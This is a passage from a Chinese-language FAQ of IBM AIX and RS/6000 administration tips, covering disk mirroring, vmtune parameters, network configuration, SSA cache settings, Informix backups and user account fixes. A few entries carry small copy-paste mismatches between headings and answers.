Adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Serial Number...............22010344&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FRU Number..................091H0397&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Part Number.................091H0397&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Address.............000629DC698C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Displayable Message.........PCI Ethernet Adapter (23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(YL)........P1-I3/E1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I3 表示此网卡插在第三槽上.# lscfg -vl ent1&nbsp;&nbsp;DEVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DESCRIPTION&nbsp;&nbsp;ent1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;10-80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM 10/100 Mbps Ethernet PCI Adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Address.............0004ACE4AF6D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Displayable Message.........PCI Ethernet Adapter (23100020)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(YL)........P2/E1&nbsp;&nbsp;&nbsp;&nbsp;是集成在主板上的网卡.<BR>　<BR><BR>　<BR><BR><BR>如何对系统做镜像以提高系统高可用性和性能<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;如何对系统做镜像以提高系统高可用性和性能 <BR>解答&nbsp;&nbsp;&nbsp;&nbsp;通常情况下, 对系统做镜像会提高系统的高可用性, 即当其中一块盘损坏或数据区不可用时,系统会自动使用其镜像盘或镜像数据区进行正常的业务操作. 在以RS/6000系统为基础的数据库应用中做镜像有三种方式, 第一种方式是通过做RAID10直接对硬盘做镜像, 需要增加相应的适配卡支持. 可以对裸设备或文件系统做镜像. 第二种方式是通过AIX操作系统做RAID1, 只能对文件系统做镜像. 第三种方式是通过数据库系统做镜像，可以对裸设备或文件系统做镜像. 对于这三种方式一般建议大家采取前两种方式会取得比较好的系统性能和高可用性.本文主要讨论使用RAID1做镜像时系统拥有的盘数对性能的影响.<BR><BR>&nbsp;&nbsp; 做RAID1镜像时,可以对卷组中指定的逻辑卷单独做镜像, 也可以对整个卷组做镜像. 对卷组中指定的逻辑卷做镜像时, 最好要求该卷组有三块或三块以上的硬盘以保证数据高可用性. 若对整个卷组做镜像则没有对卷组内硬盘个数的限制.此外要求镜像最好位于不同的硬盘, 当其中某块硬盘损坏时其镜像盘仍可工作, 以提高系统的高可用性. <BR><BR>&nbsp;&nbsp; 下面介绍为什么对卷组中指定的逻辑卷做镜像时, 最好要求该卷组有三块或三块以上的硬盘。<BR><BR>在RS/6000系统中, 每个在VG(卷组)中的物理硬盘都至少有一个VGDA(卷组描述区, 既对该硬盘上的物理和逻辑卷进行描述）. VGDA在硬盘的数量有如下规则:<BR><BR><BR>一个卷组只有一块硬盘: 该硬盘有两个VGDA.<BR><BR>一个卷组有两块硬盘: 第一块硬盘有两个VGDA, 第二块硬盘有一个VGDA.<BR><BR>一个卷组有三块或三块以上硬盘: 每块硬盘有一个VGDA. <BR>&nbsp;&nbsp; 在AIX系统中, quorum（一个卷组中的可用VGDA的比率）必须高于51%, 该卷组才可用. 对于只有两块硬盘的卷组, 若第一块硬盘损坏, 则只有33%的VGDA可用, 若第二块硬盘损坏, 则有66%的VGDA可用. 对于有三块或三块以上硬盘的卷组, 若损坏一块硬盘, 至少有66%的VGDA可用.<BR><BR>&nbsp;&nbsp; 对卷组中指定的逻辑卷做镜像时, 若该卷组中只有两块硬盘, 当第一块硬盘损坏时, 其VGDA只有33%可用, 会导致该卷组不可用,这样就使得镜像失去保证硬盘高可用性的功能. <BR><BR>&nbsp;&nbsp; 若该卷组只有两块硬盘又一定要做镜像时, 可以关掉quorum, 即使第一块硬盘损坏也不会使整个卷组不可用,此时系统使用第二块硬盘,但是第二块硬盘的数据将不能镜像. 由此有可能带来数据丢失的风险,第二块硬盘损坏时会导致该卷组不可<BR>用从而引起数据丢失.<BR><BR>&nbsp;&nbsp; 因此, 对卷组中指定的逻辑卷做镜像时, 最好要求该卷组有三块或三块以上的硬盘以保证数据高可用性. <BR><BR>　<BR><BR>　<BR><BR><BR>Debug mode 引导AIX<BR><BR>环境&nbsp;&nbsp;RS/6000 AIX V5.1 <BR>问题&nbsp;&nbsp;Debug mode 引导AIX <BR>解答 1. 系统要求配置有tty console<BR>2. #bosbot -aI /dev/ipldevice<BR>3. #shutdown -Fr<BR><BR>　<BR><BR>　<BR><BR><BR>kdb command<BR><BR>环境&nbsp;&nbsp;RS/6000 AIX 5L <BR>问题&nbsp;&nbsp;启动sendmail <BR>解答 AIX 5L中kdb替代AIX V4的crash命令,作为系统debugger和dump分析工具<BR><BR>　<BR><BR>　<BR><BR><BR>在AIX中如何为一块网卡，配多个IP地址？<BR><BR>环境&nbsp;&nbsp;产品, Pseries, RS6000,<BR>软件版本, AIX4.3.3 <BR>问题&nbsp;&nbsp;由于应用的环境要求，需在一块网卡上配置多个IP地址，AIX中可以实现吗？ <BR>解答 可以。 使用命令ifconfig 即可.其语法为： <BR>ifconfig network_interface second_ip_address netmask your_netmask alias<BR>在ODM中未记录此定义，所以关机后该定义会丢失，若需要的话，可将该命令加在启动文件(/etc/rc.net)中. <BR><BR>如第二个IP地址是 9.185.43.135 可用<BR># ifconfig en0 9.185.43.135 netmask 255.255.255.0 alias<BR><BR>当该IP地址不再需要时，可从系统中删除.<BR>#ifconfig en0 9.185.43.135 netmask 255.255.255.0 delete <BR>或从/etc/rc.net文件中删除。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -p -P(2)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -p -P(2)? <BR>解答 -p minperm <BR>如果在物理内存中的文件页面数量(file pages)低于此值，页面替换算法将替换文件页和程序页(computational pages)，minperm的缺省值约为20%的物理内存。<BR><BR>-P maxperm<BR>如果在物理内存中的文件页面数量(file pages)高于于此值，页面替换算法将只替换文件页，maxperm的缺省值约为80%的物理内存。<BR><BR>如果在物理内存中的文件页面数量在这两个值之间，页面替换算法通常只替换文件页，但是当文件页面的再替换率(repaging rate)高于程序页面时页面替换算法将同时替换文件页和程序页。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -f -F(3)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -f -F(3)? <BR>解答 -f minfree<BR>指出内存在free list中内存页的最低值，此值的范围从8到204800。 <BR><BR>-F maxfree<BR>当系统中的空闲内存小于minfree时，系统进行换页操作增加空闲内存页，当空闲内存页的数量大于等于maxfree时，系统换页操作停止。<BR><BR>maxfree的缺省值为minfree+8。maxfree-minfree的差值应大于等于maxpgahead。<BR><BR>注：一个页面的大小为4K。<BR><BR>　<BR><BR>　<BR><BR><BR>Linux 与 Pseries/RS6000<BR><BR>环境&nbsp;&nbsp;产品, Pseries, RS6000<BR>软件版本, AIX, linux <BR>问题&nbsp;&nbsp;RS6000/Pseries 服务器上可安装Linux 吗? 应用程序该如何移植? <BR>解答 1. RS6000/Pseries 的低端服务器(B80,270,170,150)可以安装Linux 操作系统. 所使用的系统版本应为 XX Linux on Pseries (由不同的 Linux公司提供) . 其上编译的Linux 应用程序使用的是 Linux 核心.<BR><BR>2. Pseries中的中高端服务器目前不可安装Linux, 但可以安装 AIX Toolbox for Linux Applications for Power System, 该工具箱提供了Linux API 接口, 在其上编译的Linux 应用程序使用的是AIX核心.<BR><BR>3. 在 XX Linux on Pseries环境下编译的程序,移植到AIX Toolbox for Linux Applications 中需重新编译,反之亦然.<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -M(5)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -M(5)? <BR>解答 -M maxpin<BR>此值指出系统中能够常驻(pin)在内存中的最大的内存页的数量缺生值为80%的物理内存，应保证至少有4M的内存不被常驻，以供内核使用。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX内核参数调整之vmtune -r -R(4)?<BR><BR>环境&nbsp;&nbsp;AIX 4 <BR>问题&nbsp;&nbsp;AIX内核参数调整之vmtune -r -R(4)? <BR>解答 -r minpgahead <BR>指出何时启动提前读的功能，此值应为2的倍数，缺省值为2。<BR><BR>-R maxpgahead <BR>指出最大的提前读的页数，此值应为2的倍数，缺省值为8，此值应大于minpgabead，最大值为512。maxfree-minfree的差值应大于等于maxpgahead。<BR><BR>　<BR><BR>　<BR><BR><BR>如何确定一文件系统是Large File Enabled的文件系统?<BR><BR>环境&nbsp;&nbsp;平台, Pseries, RS6000,<BR>软件版本, AIX 4.3.3 <BR>问题&nbsp;&nbsp;在AIX 4.3.3中既支持standard filesytem,也支持Large File Enabled file system, 如何确定一文件系统是Large File Enabled file system 还是 standard filesytem? <BR>解答 可使用 lsfs -q filesystem_name 命令来查看.<BR><BR>例如: <BR>#lsfs -q /home<BR><BR><BR>Name&nbsp;&nbsp;Nodename Mount Pt VFS Size Options&nbsp;&nbsp;Auto&nbsp;&nbsp;Accounting <BR>/dev/hd1 --&nbsp;&nbsp;/home&nbsp;&nbsp;jfs 131072 --&nbsp;&nbsp;yes no <BR><BR>(lv size: 131072, fs size: 131072, frag size: 512, nbpi: 4096, compress: no, bf: false, ag: 8)<BR><BR>bf:false 表示是standard filesystem<BR>bf:true 表示是Large File Enabled file system.<BR><BR>　<BR><BR>　<BR><BR><BR>如何在命令行下运行update_all?<BR><BR>环境&nbsp;&nbsp;AIX 4.3 <BR>问题&nbsp;&nbsp;如何在命令行下运行update_all? <BR>解答 在系统升级时可在SMIT中运行update_all，如果需要在命令行下运行<BR>可用如下方法：<BR>用lslpp -l命令产生一个系统中已安装文件集的列表，将此列表存入一个<BR>文本文件，编辑此文件使其具有以下形式：<BR><BR>bos.rte.install<BR>bos.sysmgt.sysbr<BR>......<BR><BR>用以下命令安装：<BR><BR>installp -agXd /dev/cd0 -e /tmp/install.log -f /&lt;path&gt;/&lt;file&gt;<BR><BR>其中&lt;file&gt;位所生成的文本文件，&lt;path&gt; 为&lt;file&gt;所在的路径。<BR><BR><BR><BR><BR><BR>手工删除smit菜单<BR><BR>环境&nbsp;&nbsp;AIX V4 <BR>问题&nbsp;&nbsp;手工删除smit菜单 <BR>解答 手工删除smit菜单的步骤如下：<BR><BR>1、export ODMDIR=/usr/lib/objrepos<BR>2、rm $HOME/smit.log<BR>3、smit -D并执行想删除的一些菜单命令，查看smit.log中id的值<BR>4、odmget -q id=*** sm_menu_opt &gt;/tmp/smit<BR>5、odmdelete -q id=*** -o sm_menu_opt<BR>6、vi /tmp/smit<BR>7、odmadd /tmp/smit<BR><BR>　<BR><BR>　<BR><BR><BR>6230 SSA卡上快写缓存的设置？<BR><BR>环境&nbsp;&nbsp;AIX 4.3 <BR>问题&nbsp;&nbsp;6230 SSA卡上快写缓存的设置？ <BR>解答 对于使用SSA卡的用户，卡上的快写缓存可以极大的提高磁盘的I/O性能，用户应首先检查SSA卡上是否配置了快写缓存。<BR><BR><BR># lscfg -vl ssa0&nbsp;&nbsp;DEVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DESCRIPTION&nbsp;&nbsp;ssa0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;11-08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IBM SSA 160 SerialRAID Adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(14109100)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Part Number................. 27H1204&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FRU Number.................. 34L5388&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Serial Number...............S1072088&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EC Level....................&nbsp;&nbsp;&nbsp;&nbsp;E28793&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Manufacturer................IBM053&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ROS Level and ID............8300&nbsp;&nbsp;&nbsp;&nbsp;0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Loadable Microcode Level....05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Driver Level.........00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Displayable Message.........SSA-ADAPTER*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Device Specific.(Z0)........SDRAM=128*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Device Specific.(Z1)........CACHE=32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(Z2)........UID=006094BF00003CDC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Device Specific.(YL)........U0.1-P1-I1/Q1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;此卡配置了128MB的读缓存和32MB的快写缓存。如果配置了快写缓存，改变SSA磁盘的配置，使其使用快写缓存# smitty device&nbsp;&nbsp;&nbsp;&nbsp;SSA Disks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SSA Logical Disks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Change/Show Characteristics of an SSA Logical Disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hdisk? Available 11-08-L SSA Logical Disk Drive&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Enable Fast-Write&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; yes&nbsp;&nbsp;如果'Enable Fast-Write' 是no，将其改为yes。<BR><BR><BR><BR><BR>支持Xwindows最少需要安装那些文件集(Fileset)？<BR><BR>环境&nbsp;&nbsp;AIX 4.3 OR AIX 5.1 <BR>问题&nbsp;&nbsp;支持Xwindows最少需要安装那些文件集(Fileset)？ <BR>解答 支持Xwindows需要以下文件集：<BR><BR>X11.apps.*<BR>X11.base.*<BR>X11.compat.*<BR>X11.fnt.*<BR>X11.motif.*<BR><BR>运行CDE, 需要安装<BR><BR>X11.Dt.*<BR><BR>如果希望远程使用CDE仿真，需要安装<BR><BR>X11.fnt.fontServer<BR><BR>　<BR><BR>　<BR><BR><BR>如何改动IP地址<BR><BR>环境&nbsp;&nbsp;RS6000,AIX V4 <BR>问题&nbsp;&nbsp;如何改动IP地址 <BR>解答 如果用smit mktcpip去改动IP地址，就会在/etc/hosts中加一项，而且以前的地址仍保留，正确的做法是smit tcpip---Further configuration---Network interface----Network Interface Selection----Change/Show characteristics of a Network interface 去改动<BR><BR>　<BR><BR>　<BR><BR><BR>启动sendmail<BR><BR>环境&nbsp;&nbsp;RS6000,AIX V4 <BR>问题&nbsp;&nbsp;启动sendmail <BR>解答 如果用startsrc -s sendmail 启动，sendmail不会做为守护进程被启动，必须用startsrc -s sendmail -a "-bd"来启动<BR><BR>　<BR><BR>　<BR><BR><BR>如何显示格林威治时间<BR><BR>环境&nbsp;&nbsp;RS6000，AIX V4 <BR>问题&nbsp;&nbsp;如何显示格林威治时间 <BR>解答 用date -u可以显示格林威治时间<BR><BR>　<BR><BR>　<BR><BR><BR>如何打开锁死的帐户<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户设置某帐户如果连输3次错误的密码就把帐户锁死，但不知如何打开。 <BR>解答 用户错误登陆信息记录在/etc/security/lastlog文件中。<BR>只要将 unsuccessful_login_count = 3 改为 unsuccessful_login_count = 0<BR>即可打开锁死帐户。 <BR><BR>IBM INFORMIX数据库级备份都备份了哪些内容？<BR><BR>环境&nbsp;&nbsp;RS6000, IBM INFORMIX <BR>问题&nbsp;&nbsp;IBM INFORMIX数据库级备份都备份了哪些内容？ <BR>解答 在IBM RS6000系列机器上，系统管理员一般要定期做操作系统的备份和数据库系统的备份。那么做IBM INFORMIX数据库级备份时都备份了哪些内容呢？<BR><BR>一般IBM INFORMIX数据库备份分为系统备份和逻辑日志备份。有的客户认为在做系统备份时系统会将逻辑日志文件一起备份，这种理解是不正确的。<BR><BR>系统备份将备份数据库系统的数据，包括对根dbspace（rootdbs)和数据dbspace(datadbs)的数据的备份，它不会备份临时dbspace(tempdbs)、逻辑日志和未分配使用的根dbspace和数据dbspace的空间。<BR><BR>逻辑日志备份将备份系统的逻辑日志文件。<BR><BR>由此可见系统备份和逻辑日志备份是完全不同的，它们不可以相互替代。 <BR><BR>　<BR><BR>　<BR><BR><BR>在RS6000系列机器上如何配置IBM INFORMIX数据库临时数据库空间？<BR><BR>环境&nbsp;&nbsp;RS6000, IBM INFORMIX <BR>问题&nbsp;&nbsp;在RS6000系列机器上如何配置IBM INFORMIX数据库临时数据库空间？ <BR>解答 在RS6000系列机器上安装IBM INFORMIX数据库时，一般会配置临时数据库空间以提高系统性能。那么为什么要配置及如何配置这些临时数据库空间呢？<BR><BR>例如在IBM INFORMIX数据库中若执行了下面的操作，将会产生临时文件或临时表：<BR>1.建立索引或使用排序方式的连接时；<BR>2.使用"order by"或“gruop by”语句时；<BR>3.使用“select ...into temp...”语句创建临时表时；<BR><BR>这些临时表或文件最好放在临时数据库空间中以提高系统性能。<BR>如果数据库系统频繁进行上面的操作，最好创建三个或三个以上大小相同临时数据库空间<BR><BR>　<BR><BR>　<BR><BR><BR>如何改变主机IP地址解析顺序<BR><BR>环境&nbsp;&nbsp;产品： RS/6000<BR>软件： AIX <BR>问题&nbsp;&nbsp;如何改变主机IP地址解析顺序 <BR>解答 一般主机IP地址的解析顺序依次是DNS,NIS,本机host档案。<BR>要改变这个顺序,　可以建立一个/etc/netsvc.conf文件,并在这个档案中加一行: <BR>hosts=local,bind,nis <BR><BR><BR>这样主机IP地址就先从本地档案(/etc/hosts)开始搜索,其次再去DNS server,最後是NIS server。<BR>也可通过执行 <BR>export NSORDER=local,bind,nis <BR>改变环境变量NSORDER 来改变顺序<BR><BR>　<BR><BR>　<BR><BR><BR>不能增加用户，错误信息为3004-687<BR><BR>环境&nbsp;&nbsp;RS6000, AIX 3.2 -- 4.x <BR>问题&nbsp;&nbsp;不能增加用户，错误信息为3004-687 <BR>解答 <BR>检查： <BR><BR>在/etc/passwd文件中是否有错误的语法.<BR>丢失“nobody”用户条目或其格式有错误. 其条目应为: <BR><BR>nobody:!:4294967294:4294967294::/:<BR><BR><BR>　<BR><BR>　<BR><BR><BR>登录失败次数过多<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;登录失败次数过多 <BR>解答 在用户登录失败次数过多时，超过了失败次数限制，用户将不能继续登录，需修改/etc/security/lastlog中的失败登录次数参数(unsuccessful_login_count)才可。<BR><BR>　<BR><BR>　<BR><BR><BR>看SSA逻辑盘与物理盘之间对应关系<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;看SSA逻辑盘与物理盘之间对应关系 <BR>解答 用ssaxlate -l hdisk#或ssaxlate -l pdisk#可以看SSA逻辑盘与物理盘之间对应关系<BR><BR>　<BR><BR>　<BR><BR><BR>用户名长度问题<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;用户名长度问题 <BR>解答 用户名长度最长为八位，这个限制无法改动<BR><BR>　<BR><BR>　<BR><BR><BR>如何判断引起core文件的应用程序<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;如何判断引起core文件的应用程序 <BR>解答 core文件是在应用崩溃时记录的内存影象，可以用命令lquerypv -h core 6b0 64可以看出是哪个应用引起了core文件的产生。<BR><BR>　<BR><BR>　<BR><BR><BR>解锁卷组<BR><BR>环境&nbsp;&nbsp;RS000 <BR>问题&nbsp;&nbsp;解锁卷组 <BR>解答 当卷组被锁住时，可通过命令chvg -u vg#来解锁<BR><BR>　<BR><BR>　<BR><BR><BR>inittab中引用的环境变量<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;inittab中引用的环境变量 <BR>解答 问题产生原因是由于客户有很多几百k的小文件，将所有的文件系统inode用尽。<BR>在inittab中启动的程序，只引用了/etc/environment中的环境变量，并不引用/etc/profile或/.profile中的变量，所以在用户自定义脚本中如需引用这些变量，需在脚本中加入对它们的引用<BR><BR>　<BR><BR>　<BR><BR><BR>在一个磁带上备份多个文件<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;在一个磁带上备份多个文件 <BR>解答 需要用到 tctl来卷带备份，例子如下：<BR><BR><BR>1. dd if=/tmp1 of=/dev/rmt0.1<BR>2. tctl -f /dev/rmt0 rewind<BR>3. tctl fsf 1<BR>4. dd if=/tmp2 of=/dev/rmt0.1<BR>5. tctl -f /dev/rmt0 rewind<BR>6. tctl fsf 2<BR>7.......<BR><BR><BR>恢复步骤相反。<BR><BR>　<BR><BR>　<BR><BR><BR>夏时制问题<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;夏时制问题 <BR>解答 每年四月到八月，AIX会缺省使用夏时制，可以用echo $TZ看时区来判断，时区以DT结尾的就使用了夏时制。如果不想用，可以通过smit--system environment--change show date and time---change time zone using system defined values来改变，在弹出的USE DAYTIME SAVING对话框中选择No,选好相应的时区后重启机器既可。<BR><BR>　<BR><BR>　<BR><BR><BR>passwd文件的备份<BR><BR>环境&nbsp;&nbsp;RS6000 <BR>问题&nbsp;&nbsp;passwd文件的备份 <BR>解答 如果误删除了/etc/passwd文件，可以用/etc/opasswd文件恢复，/etc下o开头的文件是相应文件的备份文件。<BR><BR>　<BR><BR>　<BR><BR><BR>如何限制某个用户使用FTP服务<BR><BR>环境&nbsp;&nbsp;AIX <BR>问题&nbsp;&nbsp;在AIX中，如何限制某个用户使用FTP服务？ <BR>解答 编辑/etc/ftpusers文件，把要限制使用的用户名加进此文件里，这样就限制了此用户使用FTP服务。<BR><BR>　<BR><BR>　<BR><BR><BR>在AIX系统中，如何得到一些偏僻的汉字<BR><BR>环境&nbsp;&nbsp;AIX&nbsp;&nbsp;<BR>问题&nbsp;&nbsp;在AIX 系统中，如何得到一些比较偏僻的汉字？ <BR>解答 在AIX的中文汉字库中，zh_CN 中有6763个汉字，而ZH_CN中有20902个汉字。如果用户要用到一些比较偏僻的汉字，建议用户安装中文环境时选择ZH_CN。<BR><BR>　<BR><BR>　<BR><BR><BR>AIX 是否支持 ramdisk<BR><BR>环境&nbsp;&nbsp; RS6000， AIX <BR>问题&nbsp;&nbsp;AIX 是否支持 ramdisk? 可否将内存当硬盘来使用，以提高访问速度。 <BR>解答 可以. AIX 操作系统支持ramdisk. 可使用mkramdisk命令来创建一个ramdisk. 其文件名为 /dev/rramdisk. 通过命令mkfs在其上建立文件系统来使用它. 用rmramdisk 命令或重新开机来删除ramdisk.<BR><BR>　<BR><BR>　<BR><BR><BR>什么是 inline log<BR><BR>环境&nbsp;&nbsp;产品, AIX<BR>平台, RS6000, Pseries&nbsp;&nbsp;<BR>问题&nbsp;&nbsp;什么是 inline log <BR>解答 在AIX5L 中可以为JFS2的文件系统创建一种新的日志类型。 这就是JFS2所特有的 inline log -- 日志与文件系统在同一逻辑卷上。<BR><BR>通过使用 inline log , 每个JFS2的文件系统可有独立日志设备，而不是整个卷组共享一个日志设备。 在文件系统数量较多的环境下,能够提高系统的RAS（Reliability Availability Serviceability)特性：在系统共享日志设备时, 日志设备的损坏会影响与之相关的所有文件系统。而使用inline log , 则不会出现此种情况。<BR><BR>创建JFS2文件系统时，缺省日志是放在共享的日志设备上, 将 "inline log ? "选项设为 "YES", 则建立了使用inline log 的JFS2 文件系统。<BR><BR><BR>　<BR><BR>　<BR><BR><BR>如何增加文件系统中的inode数目<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要生成新的文件时，系统报告空间不够，但df -k输出显示空间使用为43% <BR>解答 问题产生原因是由于客户有很多几百k的小文件，将所有的文件系统inode用尽。<BR>解决方案<BR><BR><BR>find / -size 0 -print 删除不必要的0字节文件<BR><BR>增加文件系统大小（鉴于客户的%used是43%，这样会浪费很多空间，不建议使用）<BR><BR>备份文件，重建文件系统，其中参数NBPI(number of bytes per inode)要尽量<BR>小，这样就能在同样大小的文件系统中获得更多的inode <BR>备注：<BR><BR>文件系统中inode的多少由文件系统大小和NBPI(number of bytes per inode)决定<BR>文件系统越大，NBPI越小，那么inode越多，意味能产生的文件和目录越多。<BR><BR>　<BR><BR>　<BR><BR><BR>什么是X-window<BR><BR>环境&nbsp;&nbsp;产品, RS6000<BR>平台, UNIX <BR>问题&nbsp;&nbsp;什么是X-window <BR>解答 X-window 是UNIX中功能强大的图形用户接口(GUI),是基于客户-服务器的一种应用技术. 表现为应用可运行在一个功能强大,易与维护的服务器上,而屏幕的输出则显示在另一个工作站上. X-window 技术包括两个成员: X-server 和 Window Manager. X-server 控制图像和窗口的显示, 跟踪鼠标和键盘的操作.一个X-server可控制多个窗口.Window Manager 则用于显示窗口的菜单和边界,提供窗口的移动,转换,最大,最小化操作. <BR><BR>　<BR><BR><BR>如何为调试应用程序性能 定制系统内存环境<BR><BR>环境&nbsp;&nbsp;产品: AIX<BR>平台: RS<BR>软件版本: AIX V4 <BR>问题&nbsp;&nbsp;用户需要为调试应用程序在不同的内存配置下的性能。 <BR>解答 操作系统提供了这样的应用来满足客户的需求。<BR>rmss -c memsize (设置需要调试的内存）<BR>rmss -p 显示当前的内存配置<BR>rmss -r 重新恢复至系统的实际内存大小<BR><BR>举例：<BR>#rmss -p<BR>Simulated memory size is 512 Mb.<BR>#rmss -c 128<BR>Simulated memory size changed to 128 Mb.<BR>#svmon -G<BR><BR><BR>　 size&nbsp;&nbsp;inuse free&nbsp;&nbsp;pin&nbsp;&nbsp;virtual&nbsp;&nbsp;stolen <BR>memory&nbsp;&nbsp;131061&nbsp;&nbsp;121681 9380 9417&nbsp;&nbsp;31604&nbsp;&nbsp;95584 <BR>pg space&nbsp;&nbsp;264192&nbsp;&nbsp;17306 　 　 　 　 <BR><BR><BR>其中stolen的内存就是512Mb和128Mb的差。<BR>当在128Mb内存下调试完程序后，恢复系统实际内存大小。<BR>#rmss 